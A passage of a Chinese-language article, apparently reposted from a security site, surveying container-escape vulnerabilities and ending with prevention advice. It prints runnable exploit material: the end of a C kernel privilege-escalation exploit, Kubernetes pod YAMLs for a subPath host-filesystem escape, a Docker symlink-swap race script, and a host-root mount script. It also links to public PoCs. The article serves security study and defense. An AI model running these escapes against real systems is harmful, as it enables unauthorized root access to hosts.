class="code-snippet_outer"> printf("[+] done, versions looks goodn");</span></code><code><span class="code-snippet_outer"> KERNEL_BASE = divide_error_addr - kernels[kernel].divide_error;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf("[2] checking SMEP and SMAPn");</span></code><code><span class="code-snippet_outer"> check_smep_smap();</span></code><code><span class="code-snippet_outer"> printf("[+] done, looks goodn");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf("[=] running privilege escalation exploit (CVE-2017-1000112)n");</span></code><code><span class="code-snippet_outer"> printf("[3] setting up namespace sandboxn");</span></code><code><span class="code-snippet_outer"> setup_sandbox();</span></code><code><span class="code-snippet_outer"> printf("[+] done, namespace sandbox set upn");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf("[~] commit_creds: %lxn", COMMIT_CREDS);</span></code><code><span class="code-snippet_outer"> printf("[~] prepare_kernel_cred: %lxn", PREPARE_KERNEL_CRED);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> unsigned long payload = (unsigned long)&get_root;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#if ENABLE_SMEP_BYPASS</span></code><code><span class="code-snippet_outer"> printf("[4] SMEP bypass enabled, mmapping fake stackn");</span></code><code><span class="code-snippet_outer"> mmap_stack();</span></code><code><span class="code-snippet_outer"> payload = XCHG_EAX_ESP_RET;</span></code><code><span class="code-snippet_outer"> printf("[+] done, fake stack mmappedn");</span></code><code><span class="code-snippet_outer">#endif</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf("[5] executing payload %lxn", payload);</span></code><code><span class="code-snippet_outer"> oob_execute(payload);</span></code><code><span class="code-snippet_outer"> printf("[+] done, should be root nown");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> check_root();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> return 0;</span></code><code><span class="code-snippet_outer">}</span></code>
4.CVE-2017-1002101
CVE-2017-1002101 是 Kubernetes 中的一个文件系统逃逸漏洞,允许攻击者使用子路径卷挂载访问问卷空间之外的文件或目录。
Kubernetes v1.3.x、v1.4.x、以及低于 vl.7.14、vl.8.9 和 v1.9.4 的 Kubernetes 版本均受到影响。
环境准备:
<code><span class="code-snippet_outer">./metarget cnv install cve-2017-1002101</span></code>
<code><span class="code-snippet_outer">kubectl apply -f stage-1-pod.yaml kubectl exec -it stage-1-container -- ln -s / /vuln/xxx</span></code>
<code><span class="code-snippet_outer">apiVersion: v1</span></code><code><span class="code-snippet_outer">kind: Pod</span></code><code><span class="code-snippet_outer">metadata:</span></code><code><span class="code-snippet_outer"> name: stage-1-container</span></code><code><span class="code-snippet_outer">spec:</span></code><code><span class="code-snippet_outer"> containers:</span></code><code><span class="code-snippet_outer"> - image: ubuntu</span></code><code><span class="code-snippet_outer"> name: stage-1-container</span></code><code><span class="code-snippet_outer"> volumeMounts:</span></code><code><span class="code-snippet_outer"> - mountPath: /vuln</span></code><code><span class="code-snippet_outer"> name: vuln-vol</span></code><code><span class="code-snippet_outer"> command: ["sleep"]</span></code><code><span class="code-snippet_outer"> args: ["10000"]</span></code><code><span class="code-snippet_outer"> volumes:</span></code><code><span class="code-snippet_outer"> - name: vuln-vol</span></code><code><span class="code-snippet_outer"> hostPath:</span></code><code><span class="code-snippet_outer"> path: /tmp/test</span></code>
创建第二个 Pod:
<code><span class="code-snippet_outer">kubectl apply -f stage-2-pod.yaml</span></code>
和:
<code><span class="code-snippet_outer">apiVersion: v1</span></code><code><span class="code-snippet_outer">kind: Pod</span></code><code><span class="code-snippet_outer">metadata:</span></code><code><span class="code-snippet_outer"> name: stage-2-container</span></code><code><span class="code-snippet_outer">spec:</span></code><code><span class="code-snippet_outer"> containers:</span></code><code><span class="code-snippet_outer"> - image: ubuntu</span></code><code><span class="code-snippet_outer"> name: stage-2-container</span></code><code><span class="code-snippet_outer"> volumeMounts:</span></code><code><span class="code-snippet_outer"> - mountPath: /vuln</span></code><code><span class="code-snippet_outer"> name: vuln-vol</span></code><code><span class="code-snippet_outer"> subPath: xxx</span></code><code><span class="code-snippet_outer"> command: ["sleep"]</span></code><code><span class="code-snippet_outer"> args: ["10000"]</span></code><code><span class="code-snippet_outer"> volumes:</span></code><code><span class="code-snippet_outer"> - name: vuln-vol</span></code><code><span class="code-snippet_outer"> hostPath:</span></code><code><span class="code-snippet_outer"> path: /tmp/test</span></code>
到第二个POD
<code><span class="code-snippet_outer">kubectl exec -it stage-2-container -- ls /vuln</span></code>
这列出了主机的根目录
5.CVE-2017–7308(Ubuntu 16.04.6)
看:
- https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2017-7308
- https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2017-7308
Linux 内核 4.10.6 之前的版本中的 packet_set_ring 函数net/packet/af_packet.c没有正确验证某些块大小数据,这导致本地用户可以通过精心设计的系统调用导致拒绝服务(整数符号错误和越界写入)或获取权限(如果具有该CAP_NET_RAW功能)。
<code><span class="code-snippet_outer">gcc -o poc poc.c</span></code><code><span class="code-snippet_outer">docker build -t exp .</span></code><code><span class="code-snippet_outer">docker run -it --rm exp</span></code><code><span class="code-snippet_outer">./poc</span></code>
和
<code><span class="code-snippet_outer">FROM ubuntu</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">RUN apt clean && apt update && apt install ca-certificates && apt-get update && apt-get install appstream -y && apt-get install net-tools -y</span></code><code><span class="code-snippet_outer">COPY poc /</span></code><code><span class="code-snippet_outer">RUN chmod a+x poc</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">CMD /bin/bash</span></code>
和:
- 容器逃逸漏洞/CVE/CVE-2017-7308/poc.c at main · iridium-soda/容器逃逸漏洞https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2017-7308/poc.c
- 整理容器逃逸相关的漏洞和exploits. Contribute to iridium-soda/container-escape-exploits development by creating an account on…https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2017-7308/poc.c
- github.com
https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2017-7308/poc.c
6.CVE-2018–15664
在 Docker 18.06.1-ce-rc2 版本中,’ ‘ 命令背后的 API 端点docker cp容易受到带有目录遍历的符号链接交换攻击,使攻击者能够以 root 权限对主机文件系统进行任意读写访问,因为daemon/archive.go不会在冻结的文件系统上(或在 chroot 内)执行存档操作。
来自:https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2018-15664
<code><span class="code-snippet_outer">#!/bin/bash</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">SYMSWAP_PATH=/totally_safe_path</span></code><code><span class="code-snippet_outer">SYMSWAP_TARGET=/w00t_w00t_im_a_flag</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"># Create our flag.</span></code><code><span class="code-snippet_outer">echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"</span></code><code><span class="code-snippet_outer">sudo chmod 0444 "$SYMSWAP_TARGET"</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"># Run and build the malicious image.</span></code><code><span class="code-snippet_outer">docker build -t expcon </span></code><code><span class="code-snippet_outer"> --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" </span></code><code><span class="code-snippet_outer"> --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" .</span></code><code><span class="code-snippet_outer">ctr_id=$(docker run --rm -d expcon "$SYMSWAP_PATH")</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">echo "SUCCESS -- HOST FILE CHANGED" | tee localpath</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"># Now continually try to copy the files.</span></code><code><span class="code-snippet_outer">while true</span></code><code><span class="code-snippet_outer">do</span></code><code><span class="code-snippet_outer"> docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"</span></code><code><span class="code-snippet_outer">done</span></code>
带有恶意图像:
<code><span class="code-snippet_outer">FROM ubuntu:18.04</span></code><code><span class="code-snippet_outer">COPY exp / # https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-15664/exp</span></code><code><span class="code-snippet_outer">Entrypoint ["/exp"]</span></code>
7.CVE-2018-18955
在 Linux 内核 4.15.x 到 4.19.x(4.19.2 之前的版本)中,map_write() 允许kernel/user_namespace.c特权升级,因为它错误处理了包含超过 5 个 UID 或 GID 范围的嵌套用户命名空间。受CAP_SYS_ADMIN影响的用户命名空间中的用户可以绕过命名空间外部资源的访问控制,如以下示例所示/etc/shadow。
发生这种情况的原因是,ID 转换在命名空间到内核方向上正确进行,但在内核到命名空间方向上却不正确。
查看此存储库以了解更多详细信息:
- Container-escape-exps/CVE-2018-18955/readme.md at main · duowen1/Container-escape-exps https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-18955/readme.md
- 容器 (Docker) 逃逸漏洞。创建账户即可为 duowen1/Container-escape-exps 开发做出贡献……https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-18955/readme.md
- github.com https://github.com/duowen1/Container-escape-exps/blob/main/CVE-2018-18955/readme.md
8.CVE-2019–14271
在与 GNU C 库(又名 glibc)链接的 Docker 19.03.1 之前的 19.03.x 中,当该nsswitch工具动态加载包含容器内容的 chroot 内的库时,可能会发生代码注入。
该docker cp命令允许从容器复制文件、将文件复制到容器或在容器之间复制文件。语法与标准 unix cp 命令非常相似。要从/var/logs容器复制,语法为docker cp container_name:/var/logs /some/host/path。
在复制过程中,Docker 使用名为 的辅助进程docker-tar。docker-tar将其 chrooted 到容器,存档请求的文件或目录,然后将生成的 tar 文件传递给 Docker 守护进程,后者将其提取到主机上的目标目录中。
存在漏洞的 Docker 版本使用 Go v1.11 编译。在该版本中,一些包含嵌入式 C 代码 (cgo) 的软件包会在运行时动态加载共享库。这些软件包包括net和os/user,它们均由 docker-tar 使用,并在运行时加载多个libnss_*.so库。
通常情况下,库是从host文件系统加载的,但由于docker-tar chroot 到容器,因此它会从容器文件系统加载库。也就是说,docker-tar加载并执行源自容器或由容器控制的代码。
因此,通过注入代码docker-tar,恶意容器可以获得主机的完全 root 访问权限。
可能的攻击场景包括 Docker 用户从另一个 Docker 复制文件。
- libnss_*.so运行包含恶意库的镜像的容器
- 该容器包含libnss_*.so已被攻击者替换的库。
- container-escape-exploits/CVEs/CVE-2019-14271/libnss_files.so.2 在 main ·…https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2019-14271/libnss_files.so.2
- 整理集装箱逃逸相关的漏洞和漏洞。通过在…上创建帐户,为铱苏打/容器逃逸漏洞开发做出贡献https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2019-14271/libnss_files.so.2
- github.com https://github.com/iridium-soda/container-escape-exploits/blob/main/CVEs/CVE-2019-14271/libnss_files.so.2
在这两种情况下,攻击者都可以获得主机上的 root 代码执行权限。
<code><span class="code-snippet_outer">#!/bin/bash</span></code><code><span class="code-snippet_outer">exec > /break_logs 2>&1 # defer output & err to break_logs</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">umount /host_fs && rm -rf /host_fs</span></code><code><span class="code-snippet_outer">mkdir /host_fs</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">mount -t proc none /proc # mount host's procfs</span></code><code><span class="code-snippet_outer">cd /proc/1/root # chdirs to host's root</span></code><code><span class="code-snippet_outer">mount --bind . /host_fs # mount host root at /host_fs</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">echo "Hello from within the container!" > /host_fs/evil</span></code>
9.CVE-2019–5736
runC 1.0-rc6(在 18.09.2 之前的 Docker 和其他产品中使用)允许攻击者利用在以下某种类型的容器中以 root 身份执行命令的能力来覆盖主机 runc 二进制文件(从而获得主机 root 访问权限):
- 带有攻击者控制的镜像的新容器,或
- 攻击者先前对其具有写访问权限的现有容器,可以使用 docker exec 进行附加。
发生这种情况是因为与相关的文件描述符处理不当造成的/proc/self/exe。
看:
- CVE-2019-5736-PoC/main.go at master · Frichetten/CVE-2019-5736-PoC
https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go
- CVE-2019-5736 的 PoC。通过在 GitHub 上创建帐户来为 Frichetten/CVE-2019-5736-PoC 开发做出贡献。
https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go
10.CVE-2020–14386
在 5.9-rc4 之前的 Linux 内核中发现一个漏洞。利用内存损坏可以从非特权进程获取 root 权限。此漏洞的最大威胁是数据机密性和完整性。
- GitHub – cgwalters/cve-2020-14386
https://github.com/cgwalters/cve-2020-14386
- 通过在 GitHub 上创建帐户来为 cgwalters/cve-2020-14386 开发做出贡献。
https://github.com/cgwalters/cve-2020-14386
11.CVE-2020–15257
containerd是行业标准的容器运行时,可用作 Linux 和 Windows 的守护进程。在 1.3.9 和 1.4.3 之前的版本中,containerd-shim API 未正确暴露给主机网络容器。
shim 的 API 套接字的访问控制验证了连接进程的有效 UID 为 0,但并没有限制对抽象 Unix 域套接字的访问。
这将允许在与 shim 相同的网络命名空间中运行的恶意容器(其有效 UID 为 0,但其他权限降低)导致新进程以提升的权限运行。
此漏洞已在 containerd 1.3.9 和 1.4.3 中修复。用户应在这些版本发布后尽快更新。需要注意的是,使用旧版本 containerd-shim 启动的容器应停止并重新启动,因为即使升级后,正在运行的容器仍会存在漏洞。
如果您没有为不受信任的用户提供在与 shim 相同的网络命名空间中启动容器的能力(通常是“主机”网络命名空间,例如 docker run — net=hostKubernetes pod 中的或 hostNetwork: true)并且以有效 UID 0 运行,那么您就不会受到此问题的影响。
如果您正在运行具有易受攻击配置的容器,则可以通过在策略中添加类似于拒绝 unix 的行来拒绝使用 AppArmor 对所有抽象套接字的访问 addr=@**。最佳做法是运行具有一组减少的权限、非零 UID 和隔离命名空间的容器。
containerd 维护者强烈建议不要与主机共享命名空间。减少用于容器的隔离机制集必然会增加该容器的权限,无论使用什么容器运行时来运行该容器。
- GitHub – nccgroup/abstractshimmer:containerd 中 CVE-2020-15257 的概念证明。
https://github.com/nccgroup/abstractshimmer
- containerd 中 CVE-2020-15257 的概念证明。- nccgroup/abstractshimmer
https://github.com/nccgroup/abstractshimmer
12.CVE-2021–22555
查看:
- CVE-2021-22555:将 x00x00 变成 10000 美元
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
- 该项目包含与 Google 进行的研究相关的安全公告及其概念验证……
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
13.CVE-2022–0185
legacy_parse_param Linux 内核的文件系统上下文功能中的函数在验证所提供参数长度的方式中发现了一个基于堆的缓冲区溢出缺陷。
非特权(在启用非特权用户命名空间的情况下,否则需要命名空间CAP_SYS_ADMIN特权)本地用户可以打开不支持文件系统上下文 API(从而回退到传统处理)的文件系统,并可利用此缺陷提升其在系统上的权限。
- GitHub – Crusaders-of-Rust/CVE-2022-0185: CVE-2022-0185
https://github.com/Crusaders-of-Rust/CVE-2022-0185
- CVE-2022-0185。通过在 GitHub 上创建帐户来为 Crusaders-of-Rust/CVE-2022-0185 开发做出贡献。
https://github.com/Crusaders-of-Rust/CVE-2022-0185
14.CVE-2022–0492
Linux 内核的cgroup_release_agent_write该kernel/cgroup/cgroup-v1.c功能中发现了一个漏洞。在某些情况下,该漏洞允许使用 cgroups v1release_agent功能提升权限并意外绕过命名空间隔离。
- GitHub – SofianeHamlaoui/CVE-2022-0492-Checker:用于检查容器环境是否存在的脚本……
https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker
- 用于检查容器环境是否容易受到 CVE-2022-0492 容器逃逸攻击的脚本……
https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker
15. CVE-2022–0847 “脏管道”
新的管道缓冲区结构的“flags”成员在 Linux 内核中缺乏适当的初始化copy_page_to_iter_pipe和push_pipe功能,因此可能包含过时的值,因此被发现存在缺陷。没有特权的本地用户可以利用此缺陷写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的特权。
- GitHub – AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits:漏洞利用和文档的集合……
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
- 可用于利用 Linux Dirty Pipe 漏洞的漏洞利用程序和文档的集合。…
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
16.CVE-2022–1227
在 中发现了一个权限提升漏洞Podman。此漏洞允许攻击者将恶意图像发布到公共注册表。一旦潜在受害者下载此图像,用户运行“ podman top”命令后就会触发此漏洞。此操作使攻击者能够访问主机文件系统,从而导致信息泄露或拒绝服务。
- GitHub – iridium-soda/CVE-2022-1227_Exploit: 用于利用 CVE-2022-1227 的脚本
https://github.com/iridium-soda/CVE-2022-1227_Exploit
- 用于利用 CVE-2022-1227 的脚本。通过创建…为 iridium-soda/CVE-2022-1227_Exploit 开发做出贡献
https://github.com/iridium-soda/CVE-2022-1227_Exploit
17.CVE-2024–21626
- Docker 和 runC 漏洞:深入研究 CVE-2024–21626 及其对应漏洞
https://systemweakness.com/docker-and-runc-vulnerabilities-a-deep-dive-into-cve-2024-21626-and-its-counterparts-4ca24e7d7aa1
- 了解 CVE-2024–21626、CVE-2024–23651、CVE-2024–23652 和 CVE-2024–23653 的影响和解决方案……
https://systemweakness.com/docker-and-runc-vulnerabilities-a-deep-dive-into-cve-2024-21626-and-its-counterparts-4ca24e7d7aa1
预防措施和最佳实践
确保 Docker 容器免遭逃逸需要采取多方面的方法:
- 定期更新和修补:对于缓解已知漏洞而言,保持 Docker 和主机系统更新是不可或缺的。
- 最小特权原则:容器应该仅被授予其运行所绝对需要的能力,仅此而已。
- 避免以特权模式运行容器:除非绝对必要,否则避免以特权模式运行容器。
- 安全监控和审计:实施安全监控工具来检测表明容器逃逸的异常活动。
- 教育和意识:随时了解最新的安全研究和 CVE 披露可以帮助预防潜在的攻击媒介。
结论
Docker 容器的安全性是一场持续不断的战斗,其特点是新兴威胁与不断发展的防御措施之间不断相互作用。了解容器逃逸背后的机制并实施最佳实践对于加强容器化环境以抵御这些隐蔽威胁至关重要
请记住,您的安全态势的强度不仅在于您所使用的工具和配置,还在于使用这些工具和配置的人的知识和警惕性。
转自:https://www.ctfiot.com/196962.html